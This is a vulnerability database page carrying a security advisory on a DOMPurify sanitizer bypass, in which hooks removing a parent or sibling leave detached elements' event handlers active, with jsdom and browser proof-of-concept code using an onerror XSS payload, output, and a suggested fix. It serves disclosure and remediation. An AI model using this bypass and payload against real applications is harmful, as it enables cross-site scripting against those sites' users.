Vulnerability Database

407,382

Total vulnerabilities in the database

DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p) — dompurify

Protection Mechanism Failure

Summary

The 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an IN_PLACE hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an <img onerror> that was already loading fires after sanitize() returns.

The README says: "Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an <img onload> that was already loading when you built the live tree cannot fire after sanitize() returns." That does not hold when the detached node is not the hook's own node.

Tested versions

  • 3.4.16 (latest) and main at 18f8f0e
  • also 3.4.15, 3.4.12 and 2.5.8

jsdom for the matrix below, and Chromium (Playwright) for the event actually firing.

Details

src/purify.ts line 2134 (dist/purify.cjs.js line 2009 in 3.4.16), _handleHookDetachedNode():

if (currentNode === root || getParentNode(currentNode) !== null) { return false; } if (IN_PLACE) { _neutralizeSubtree(currentNode); }

It only checks whether currentNode lost its parent. When a hook removes currentNode.parentNode (or any ancestor), currentNode still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in DOMPurify.removed, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.

PoC (jsdom)

const { JSDOM } = require('jsdom') const createDOMPurify = require('dompurify') const win = new JSDOM('<!doctype html><body></body>').window const doc = win.document for (const mode of ['self', 'parent', 'nextSibling']) { const DOMPurify = createDOMPurify(win) doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' + '<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>' const root = doc.getElementById('root') const evil = doc.getElementById('evil') // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling) DOMPurify.addHook('afterSanitizeAttributes', (node) => { if (node.getAttribute && node.getAttribute('class') === 'bad') { if (mode === 'self') node.remove() if (mode === 'parent') node.parentNode.remove() if (mode === 'nextSibling') node.nextElementSibling.remove() } }) DOMPurify.sanitize(root, { IN_PLACE: true }) console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror'))) }

Output on 3.4.16:

3.4.16 self onerror = null 3.4.16 parent onerror = "alert(1)" 3.4.16 nextSibling onerror = "alert(1)"

In self mode the walker still reaches the second image and strips onerror. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of beforeSanitizeElements, uponSanitizeElement, afterSanitizeElements, beforeSanitizeAttributes and afterSanitizeAttributes.

PoC (browser)

The same thing in a real page, served from 127.0.0.1 and opened in Chromium:

<!doctype html><meta charset=utf-8> <script src="purify.min.js"></script> <body><pre id=log></pre> <script> window.fired = []; function run(mode) { const D = DOMPurify(window); D.addHook('afterSanitizeAttributes', n => { if (n.getAttribute && n.getAttribute('class') === 'bad') { if (mode === 'parent') n.parentNode.remove(); if (mode === 'self') n.remove(); } }); const root = document.createElement('div'); document.body.appendChild(root); root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>'; D.sanitize(root, { IN_PLACE: true }); return root.outerHTML; } const a = run('self'), b = run('parent'); setTimeout(() => { document.getElementById('log').textContent = 'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfired=' + JSON.stringify(fired); }, 1500); </script>

Result on 3.4.16:

version=3.4.16 self out=<div><figure><img src="x"></figure><p>ok</p></div> parent out=<div><p>ok</p></div> fired=["parent"]

The returned tree is clean in both cases, but the handler on the detached image runs in the page for parent.

Impact

An app that uses IN_PLACE with a hook that removes a wrapper or a nearby element (for example "drop the whole <figure> if its image is not allowed") gets DOM XSS from attacker markup after sanitize() returns. It needs that kind of hook, so it falls under "input plus an application choice" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p.

Suggested fix

Instead of only checking currentNode, check after each hook call whether anything outside the current node was detached. Two simple options:

  • before calling a hook in IN_PLACE mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under root
  • or, after the walk, neutralize every element that was in the original tree but is no longer connected to root (for example by collecting the elements before the walk)
  • Published: Oct 22, 2026
  • Updated: Oct 23, 2026
  • GHSA: GHSA-mrv2-3pqr-j5jr
  • Severity: High
  • Exploit:
  • CISA KEV:

No technical information available.

Is dompurify exposed on your perimeter?

A vulnerability database tells you what is broken. Attack surface management tells you where it is running: it discovers your internet-facing assets and flags the ones affected by issues like this one.

What is attack surface management? →

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.